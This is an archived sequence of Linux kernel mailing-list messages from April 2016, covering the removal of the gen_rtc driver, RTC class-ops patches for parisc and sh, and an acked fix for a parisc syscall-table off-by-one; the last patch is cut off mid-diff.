Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 6/8] char/genrtc: parisc: use asm-generic/rtc.h
Date: Wed, 27 Apr 2016 14:44:34 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <4737487.5iYaado825@wuerfel>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de> <4599222.az1Zyv5Lrl@wuerfel> <CAMuHMdV0DwdMkJURBH05ntrJWz0eY_wT__vHG32sx-sjSp0m_w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461761186 18605 80.91.229.3 (27 Apr 2016 12:46:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 12:46:26 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Tony Luck <tony.luck@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	alpha <linux-alpha@vger.kernel.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Apr 27 14:46:15 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1avOr8-00085J-AC
	for lnx-linux-alpha@plane.gmane.org; Wed, 27 Apr 2016 14:46:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752280AbcD0MqM (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 27 Apr 2016 08:46:12 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.13]:62585 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752432AbcD0MqK (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 27 Apr 2016 08:46:10 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue101) with ESMTPSA (Nemesis) id 0M4qlR-1bu5gt0NET-00yzYp; Wed, 27 Apr
 2016 14:44:43 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <CAMuHMdV0DwdMkJURBH05ntrJWz0eY_wT__vHG32sx-sjSp0m_w@mail.gmail.com>
X-Provags-ID: V03:K0:rx0K0mkAqrd5ty4tkdNj6rgyo8GIem7S65pFX8ywconZadmqZ8D
 WOzZMQWmFcfEfXJhXLHzLrcNwb9LMWxqd8P5Lhnijj5zUEgM5lBrJ/rwdZ/WjrmprbEb34Q
 zCdJwyL88eheMcEfE0iHXXgKWMVRPukacaAlEN3LpuV6+Q6qFkLFKmg752Djnur9SlCfBeq
 qbm+dMOr1BgG7m3e5SRvQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:IN+OvWKFBsk=:GeTcqALQkZ6Tyh5kf+gzNg
 iZdBm1DbaT9561czc1mghO+Mdi2SDuLnBKbcCDinCXT25z1wq+lfzgaGzVgTRPoqKSpIV8mtg
 OjJOGZzRi98f1ED8z0KHBBlUv7vFnkJfYBspuNx7ABcGGeRMyK6gqAUavHNXZNnZe6z6NvKNp
 PKuZVQzaxP4uTaOOKTq+07MVXDaEWxwUHjDhqkCV19ZyjfOH++Bvj0Yn5j1y/Pq41x/ZpKQfJ
 xlW+7ZTrQqHgObA8pjdPwI9v8AFEsZD8Yc6lpqY2SaehA4Xlx4WYQwJwxCRMr3DRiKqEF0FPN
 jJhHsp738g5gaisueD20Z/W7P6OwYBDl9fkqE346iR6y9GM7QBmC3NGAtHUfE4Aj0DB/XsCHA
 1Z+ZeMMuIBURkPQ3kCgXyG6GjmlrPC2OLKfFVNoBJH0LuejRL9Tv9ueZA8+m2g9N4pKx+doNC
 ozFyYwPpkXF3yd6a6nDK8lLQ7MdJYxDfVAd9y0tZfshgyv3LtJf6OWy3Fe0Kg+oDok8vIHOeK
 rU9G8BiHhYWwpXh5nOmXDwmTB7yxeComOVwPhWN1FsG0sDU4ri8ue73PJa5rT2cPVwgeS9ZWD
 pRQ+/Alkf7NcxtdHQJYoZHJJxzMURtQikbp8YIQouQtQT5Ep599tq/1GNNoSXik/7ZlDWW6FV
 CtrinecmJ7qBTQ6qmL+/IKTXZrcvu2q629zOsTAfT+MQmU/J1cIAolaeJIy+mm5gRfqNcho7y
 +Hcnsz8EywfZUPwa
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3677 gmane.linux.kernel:2209336 gmane.linux.ports.ia64:26681 gmane.linux.ports.parisc:26704 gmane.linux.ports.ppc64.devel:126491 gmane.linux.ports.sh.devel:53862 gmane.linux.kernel.cross-arch:31765
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3677>

On Wednesday 27 April 2016 13:55:43 Geert Uytterhoeven wrote:
> On Wed, Apr 27, 2016 at 1:35 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> > On Wednesday 27 April 2016 13:21:16 Arnd Bergmann wrote:
> >> On Wednesday 27 April 2016 00:07:47 Rolf Eike Beer wrote:
> >> > Arnd Bergmann wrote:
> >> > > The asm-generic/rtc.h header can now be included by
> >> > > architectures that provide their own set_rtc_time/get_rtc_time
> >> > > macros, letting us remove most of the common contents in
> >> > > the powerpc implementation.
> >> >
> >> > parisc in this case.
> >> >
> >>
> >> Fixed, thanks!
> >
> > Actually, after the comment about just removing the gen_rtc driver
> > in the long run, I checked again and found that PARISC unconditionally
> > selects RTC_CLASS, so this driver can't even be built here.
> > We should just remove the header and drop PARISC from the list.
> >
> > If we also drop m68k, that just leaves powerpc.
> 
> I've just checked Debian's unofficial linux-image-4.5.0-1-m68k_4.5.1-1_m68k,
> and it also enables RTC_CLASS and CONFIG_RTC_DRV_GENERIC, so gen_rtc
> can be dropped on m68k for sure.

Ok, excellent. I'll try to rework the series then to completely eliminate
the driver (or leaving it ppc-only).

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix a bug when syscall number of tracee is
 __NR_Linux_syscalls
Date: Wed, 27 Apr 2016 21:23:12 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <572111A0.706@gmx.de>
References: <20160427015611.GA23316@altlinux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1461785035 3983 80.91.229.3 (27 Apr 2016 19:23:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 19:23:55 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: "Dmitry V. Levin" <ldv@altlinux.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 21:23:46 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avV3n-0007dm-SA
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Apr 2016 21:23:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752389AbcD0TXn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2016 15:23:43 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:62783 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751774AbcD0TXm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2016 15:23:42 -0400
Original-Received: from [192.168.20.60] ([92.203.1.11]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0Ltr89-1beZ7O1GZp-011EIS; Wed, 27 Apr 2016 21:23:15
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20160427015611.GA23316@altlinux.org>
X-Provags-ID: V03:K0:Qamy7Er8svPP5eHXr0IV2EI/YQbVzF9jli2N2pJzjuTJZq7Z/u9
 wMpDFldHwv3yZCk8cpyuvjChfRBs0L81wCHVPhTttB4KlBtrgTzC+qYBrG1tipT1Up4s+nt
 +6GcIITWtnHEmncYcvFOT2TZUqw1VF4k3tZA6yCHEgG3Fz9jpf+5lyaxeCYftvgeY7tqfWf
 0/w3rCRGy32B1F5XV0Ssw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:PRtLlJk6NeI=:M2B2CjlFtxPlBsoKeDKJL2
 h+itvOIllBMmu0sRKlNtFunFc6Cup1uP8Nj1c3yS3IXn7mpLZBX1Rf8BFG2gdARGffONS38hY
 RaMFQt/aaDQnBRedoVMd9mSQaL7ZNN0ANNNInTcDbsSBwUQ4b+9IiYbTwlHunPRn5z6xevlMd
 DdztR1m2sRI3Uo/18CmDapj4gpSbcZHs8Z69oHZAzNdStZ5oHWGxuU00uFXEjfcP8cUzzImBl
 eJaIJGje3n+RsfvhyNvO8t0tRHh/ilTBQpKAAWeG8dPGWzYj5Lf4Jzi/Kt0ln28RgS+jUrOf2
 CRfbfEhPLdC3VpFGXo2K6ELViD0rn3Q2BP0ozSZr9DOMz33YCa+5ufifEHSgm987TkJokFW6K
 P/MnWXZXRBmQQt7KS8A1cJpWLK+Uk14xiCVmxW/lQ2OEFDuVBk3RrSxkwiiTbNqv6rW9BUomQ
 DQKeu04MbRBVbbK+jU3S2sjr/rowWJCzD1yUYWu+dOLXUQDx8997yMCNYDMKN9mFlWfI7TCVj
 CLKqm/R9VaVq+menUzX0co/iWSoVEEDKN5Hji09LSZbQ59622vYIodKMk+Z2Rd+cz1DAWElzi
 X8eZMF3WaoJD/sq7vbbY8yCUbaOuopQxWb0PGJivw9PrPT89DAVNgJxA+UPJXVnFtx5VVQ0J1
 FWR/uXFx2OoZIt6omRExaItsRQs/UZMA0ZaITi5XY3n5Aw0OYRVPJSxa/IKFD4bC5llCEdP6K
 8VPNvTMGXcHunsEuBNPa7H/iKGP2zV1kaRv1jQGGl5hl9QYqc2OVpbaWL5EW0C+531NRPHAx 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26705 gmane.linux.kernel:2209868
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26705>

On 27.04.2016 03:56, Dmitry V. Levin wrote:
> Do not load one entry beyond the end of the syscall table when the
> syscall number of a traced process equals to __NR_Linux_syscalls.
> Similar bug with regular processes was fixed by commit 3bb457af4fa8
> ("[PARISC] Fix bug when syscall nr is __NR_Linux_syscalls").
> 
> This bug was found by strace test suite.
> 
> Cc: stable@vger.kernel.org
> Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>

Acked-by: Helge Deller <deller@gmx.de>

Thanks!

Helge

> ---
>  arch/parisc/kernel/syscall.S | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index c976ebf..57b4836 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -344,7 +344,7 @@ tracesys_next:
>  #endif
>  
>  	cmpib,COND(=),n -1,%r20,tracesys_exit /* seccomp may have returned -1 */
> -	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
> +	comiclr,>>	__NR_Linux_syscalls, %r20, %r0
>  	b,n	.Ltracesys_nosys
>  
>  	LDREGX  %r20(%r19), %r19
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 07/16] rtc: parisc: provide rtc_class_ops directly
Date: Thu, 28 Apr 2016 00:34:21 +0200
Lines: 99
Approved: news@gmane.org
Message-ID: <1461796470-1291527-8-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796544 23227 80.91.229.3 (27 Apr 2016 22:35:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:35:44 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 28 00:35:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avY3T-0004q2-SP
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Apr 2016 00:35:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754031AbcD0Wfb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2016 18:35:31 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.75]:63201 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753532AbcD0Wf2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2016 18:35:28 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0M5xcn-1bsqnb3ynZ-00xtDt; Thu, 28 Apr
 2016 00:34:51 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:62x2aIdnKqPcbygSy2sENMpJcKWeNB/mTUpBKKJ/eLubsRKZxZT
 vgqeOFbyF4Ow5fAHeDVhHoNROE+VX/3I4SOo7G7BRLud94NFThUvY67uDxb0KUw6D12Ut94
 JVLlhePLyZCK4Mx8LVPFkQzrP0/XaTEewLMXRILfglf7djYnMY/tRWZWxpBtDEzkpuX0cDT
 BmPlvG3HDiv8dHINrhYjw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:TwoCPQQjntU=:3KW+cYvH1Kjlv23f/GpgTZ
 VrwjEOpbV5drQoa1MkdlY2tNqNDXinDw2Wjj+T6VGqyE3umtt9am/W/rcugvgm7QKryMRLC11
 57CMrtVF2mUNLrYuTvGaPm0BdVE0UKZ7UOtBEHt68bKOfIFXwl9NlupI6UovXGE0gh1tqpNbh
 8iDYQPHQfEyZB8z6ozGgrRkK6fOVLrylUKLUe0F757r5kfUKQO1g43hoiIFNuPwp4vM3t9qBh
 pIXZ+3Dk4ewzP6JGgY2gxCx2d1daHXjoJoSpgbQpKqKmsVXKqDYbmc6QwRun4A6k/Bb8JyrOf
 wQryd5YD3feaeOjmbV1YfUYxkHM5FTLKR3NVg10fXSgON92K/8XkD5vDrlaYUiIq3i79KCAo2
 smTXna8COSOANqJRCAY9mVccUFam8rVguxCbfY1SQbqILLDywmi4mbCnvi/GCe5ixrTO9gNn4
 pWRRnp7T88A9qY8Z1vVd0PIdYLJjDFCoMzVb6d/dorfh9XTQf/7l3HeKAp5Pepb2DY5tEfw/M
 PsRDYsJAWNXuoFxPpABaE3h9TwsltYwCiQqVmiPh42Xv8Y+Rq93HOyZLW/2QtigkUmONNHg+3
 uzjWFb9sBIrVE7hWtuKiH5M4wVAdkg+3GNujHM38dGV3lObUHay090fml6a+DNv7tRtPErt9T
 QGTqA0+AFdDKyElbrPwggev1AKNaWzxWjSA03MgHZxbCSQQm8O5stfna7HgwGARaXF/w=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26706 gmane.linux.ports.alpha:3678 gmane.linux.kernel:2210013 gmane.linux.ports.ppc64.devel:126509 gmane.linux.ports.sh.devel:53864 gmane.linux.kernel.cross-arch:31790
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26706>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and on pa-risc, that is implemented using an open-coded
version of rtc_time_to_tm/rtc_tm_to_time.

This changes the parisc rtc-generic device to provide its
rtc_class_ops directly, using the normal helper functions,
which makes this y2038 safe (on 32-bit) and simplifies
the implementation.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/parisc/kernel/time.c | 36 +++++++++++++++++++++++++++++++++++-
 drivers/rtc/rtc-generic.c |  3 +--
 2 files changed, 36 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 58dd6801f5be..744878789752 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -12,6 +12,7 @@
  */
 #include <linux/errno.h>
 #include <linux/module.h>
+#include <linux/rtc.h>
 #include <linux/sched.h>
 #include <linux/kernel.h>
 #include <linux/param.h>
@@ -248,14 +249,47 @@ void __init start_cpu_itimer(void)
 	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
+#if IS_ENABLED(CONFIG_RTC_DRV_GENERIC)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	struct pdc_tod tod_data;
+
+	memset(tm, 0, sizeof(*tm));
+	if (pdc_tod_read(&tod_data) < 0)
+		return -EOPNOTSUPP;
+
+	/* we treat tod_sec as unsigned, so this can work until year 2106 */
+	rtc_time64_to_tm(tod_data.tod_sec, tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	time64_t secs = rtc_tm_to_time64(tm);
+
+	if (pdc_tod_set(secs, 0) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
+
 static int __init rtc_init(void)
 {
 	struct platform_device *pdev;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
+
 	return PTR_ERR_OR_ZERO(pdev);
 }
 device_initcall(rtc_init);
+#endif
 
 void read_persistent_clock(struct timespec *ts)
 {
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index 3958e87a05fa..92b5e02a3750 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,8 +9,7 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if defined(CONFIG_M68K) || defined(CONFIG_PARISC) || \
-    defined(CONFIG_PPC)
+#if defined(CONFIG_M68K) || defined(CONFIG_PPC)
 #include <asm/rtc.h>
 
 static int generic_get_time(struct device *dev, struct rtc_time *tm)
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 04/16] rtc: sh: provide rtc_class_ops directly
Date: Thu, 28 Apr 2016 00:34:18 +0200
Lines: 113
Approved: news@gmane.org
Message-ID: <1461796470-1291527-5-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796546 23236 80.91.229.3 (27 Apr 2016 22:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:35:46 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 28 00:35:36 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avY3U-0004q2-GE
	for glpm-linux-m68k@plane.gmane.org; Thu, 28 Apr 2016 00:35:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753896AbcD0Wfe (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 27 Apr 2016 18:35:34 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.74]:50172 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753921AbcD0Wfc (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 27 Apr 2016 18:35:32 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0M6lu8-1bs1r31Q1s-00wVFU; Thu, 28 Apr
 2016 00:34:49 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:3mgPSE3SDOSGAPnsP2hm0JPweUgYtF3hmNHddu5lFI7Vgzep5rl
 VDnzLqBtUp/QWQ3a5cHvmTFVwY0WJxaoNoZvo6tiotT0HytAZq1NoTBmoQY3Dn5oYCYiDgc
 7BQA1q/wy9ux4qiRU7IQTr15Pmp8laDylx/T4Qlb02iE5Ou6Pn3/WRMvTWEACYk7W2uEolE
 KQY4wphBB/JxvTn5r3P+g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:9+H6nzp0bnE=:I4z+ErcfYMVaYZB6MzPdgd
 kMTXKYKpAxz64oMUweemdNBZXo8k3NBRxXhopVoa6Fxbz3n8G+IoAjIatJrcUUIcBnTxUzlcb
 F3i/nOY8scMagFv15deoFN0F/Vum9XSngmheNnXs/Ho3fr3a1kkzPnKB1JnX6bygFOV8KEyze
 D7Y1NZJ78b/My1N8GqdKSGsoGDeuIRbfOfVwwIX9c65l0P76RNpzNJOn6W8D+lePVSU71qmtK
 Im2nE56Q4ChFWLJlDBwYRqWw9MeN2N/hrtUtjDyojHKWutUo0OWlmAYNbzyI6kC077AOZHDgV
 Cz5zv2dJj+0k8yh0Lpsob9aXv9GROQMARThocmhIcFg4Uu3PsU5Fk0Jrf3voy7+Bbnp+gEqqr
 oWgGlq/aPXigYF/Z8waCWEKtqPONM1opw/aomlUcEL+b2OcYO0nbNbooLTmlcxx0cI8BNTeDx
 UXnJbgGWHPcNTyeUIT/25kyFztjM9qZuNSZrysYu/2Knro9vynCFJG8bmn2QWcRsqBi9OPXH0
 LO89yQzmLgcOyAW+ykJmhDSfwR1E/a7APNZFsGPCV6Okowqcv8ihWb5201ELtMz8OSbXgKB2A
 hrQWeMlYqyJz3c5jwwjfY+OIUAGYsFUZ962dJgwXcYaFxdwJ6woMu5J9EjEslJydwtWCaPw3T
 KulUxt7k1mVYkov79Dkqzwwls00DOC8oNjSuw2L201quR0Rbhk8WKvc3tjCVZqPefurI=
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8556 gmane.linux.ports.alpha:3679 gmane.linux.kernel:2210014 gmane.linux.ports.parisc:26707 gmane.linux.ports.ppc64.devel:126510 gmane.linux.ports.sh.devel:53865 gmane.linux.kernel.cross-arch:31791
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8556>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and on sh, that goes through another indirection using
the rtc_sh_get_time/rtc_sh_set_time functions.

This changes the sh rtc-generic device to provide its
rtc_class_ops directly, skipping one of the abstraction
levels.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/sh/include/asm/rtc.h | 11 -----------
 arch/sh/kernel/time.c     | 32 +++++++++++++++++++-------------
 drivers/rtc/rtc-generic.c |  2 +-
 3 files changed, 20 insertions(+), 25 deletions(-)

diff --git a/arch/sh/include/asm/rtc.h b/arch/sh/include/asm/rtc.h
index 52b0c2dba979..f7b010d48af7 100644
--- a/arch/sh/include/asm/rtc.h
+++ b/arch/sh/include/asm/rtc.h
@@ -6,17 +6,6 @@ extern void (*board_time_init)(void);
 extern void (*rtc_sh_get_time)(struct timespec *);
 extern int (*rtc_sh_set_time)(const time_t);
 
-/* some dummy definitions */
-#define RTC_BATT_BAD 0x100	/* battery bad */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-struct rtc_time;
-unsigned int get_rtc_time(struct rtc_time *);
-int set_rtc_time(struct rtc_time *);
-
 #define RTC_CAP_4_DIGIT_YEAR	(1 << 0)
 
 struct sh_rtc_platform_info {
diff --git a/arch/sh/kernel/time.c b/arch/sh/kernel/time.c
index d6d0a986c6e9..92cd676970d9 100644
--- a/arch/sh/kernel/time.c
+++ b/arch/sh/kernel/time.c
@@ -50,27 +50,30 @@ int update_persistent_clock(struct timespec now)
 }
 #endif
 
-unsigned int get_rtc_time(struct rtc_time *tm)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
 {
-	if (rtc_sh_get_time != null_rtc_get_time) {
-		struct timespec tv;
+	struct timespec tv;
 
-		rtc_sh_get_time(&tv);
-		rtc_time_to_tm(tv.tv_sec, tm);
-	}
-
-	return RTC_24H;
+	rtc_sh_get_time(&tv);
+	rtc_time_to_tm(tv.tv_sec, tm);
+	return 0;
